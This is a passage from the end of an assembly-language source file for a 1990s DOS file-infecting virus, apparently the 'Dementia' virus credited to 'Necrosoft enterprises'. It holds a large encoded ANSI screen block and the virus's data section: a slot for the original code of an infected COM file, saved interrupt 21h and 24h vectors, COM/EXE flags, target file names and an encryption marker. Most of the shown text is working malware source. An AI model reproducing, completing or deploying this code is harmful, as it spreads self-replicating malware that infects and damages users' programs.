	     db      0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h
	     db      04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh
	     db      0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h
	     db      3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h
	     db      0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h
	     db      01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h
	     db      0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh
	     db      09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh
	     db      05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h
	     db      37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh
	     db      03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h
	     db      0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh
	     db      12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h
	     db      42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh
	     db      08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h
	     db      05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h
	     db      0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h
	     db      0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch
	     db      07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h
	     db      0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh
	     db      05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h
	     db      0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h
	     db      01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h
	     db      0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h
	     db      0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h
	     db      0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h
	     db      0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh
	     db      0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h
	     db      50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h
	     db      05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h
	     db      0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh
	     db      05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah
	     db      0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h
	     db      2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h
	     db      03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h
	     db      0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh
	     db      0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh
	     db      20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh
	     db      07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch
	     db      05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h
	     db      0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h
	     db      35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h
	     db      2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah
	     db      0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h
	     db      01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh
	     db      73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h
	     db      0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h
	     db      38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh
	     db      05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h
	     db      0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h
	     db      75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h
	     db      38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h
	     db      0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h
	     db      70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h
	     db      50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh
	     db      65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh
	     db      61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh
	     db      05h,6bh,0ah,20h,07h
ansi_end:
file_end:
temp_file    db      '!#TEMP#!',00h      ; Temporary file
request_iva  db      'REQUEST.IVA',00h   ; REQUEST.IVA
filename     db      'RECEIPT.IVA ',00h  ; Filename
receipt_iva  db      'RECEIPT.IVA ',00h  ; RECEIPT.IVA
callfast_com db      'CALLFAST.COM',00h  ; CALLFAST.COM
file_specifi db      '*.*',00h           ; File specification
origin_code  db      0cdh,21h,? 	 ; Original code of infected COM file
int21_addr   dd      ?			 ; Address of interrupt 21h
int24_addr   dd      ?			 ; Address of interrupt 24h
com_or_exe   db      00h		 ; COM or EXE executable
stack_ptr    dw      ?			 ; Original stack pointer
stack_seg    dw      ?			 ; Original stack segment
instruct_ptr dw      ?			 ; Original instruction pointer
code_seg     dw      ?			 ; Original code segment
initial_ip   dw      ?			 ; Initial IP
initial_cs   dw      ?			 ; Initial CS relative to start of ...
code_seg_    dw      ?			 ; Code segment
tst_filesize dw      00h		 ; Test or don't test filesize
	     db      'Dementia]',00h
	     db      'Copyright 1993 Necrosoft enterprises  -  All rights reserved',00h
	     db      'I am the man that walks alone',0dh,0ah
	     db      'And when I''m walking a dark road',0dh,0ah
	     db      'At night or strolling through the park',0dh,0ah
	     db      'When the light begins to change',0dh,0ah
	     db      'I sometimes feel a little strange',0dh,0ah
	     db      'A little anxious when it''s dark',0dh,0ah,00h
crypt_begin:
code_end:
data_end:

end	     code_begin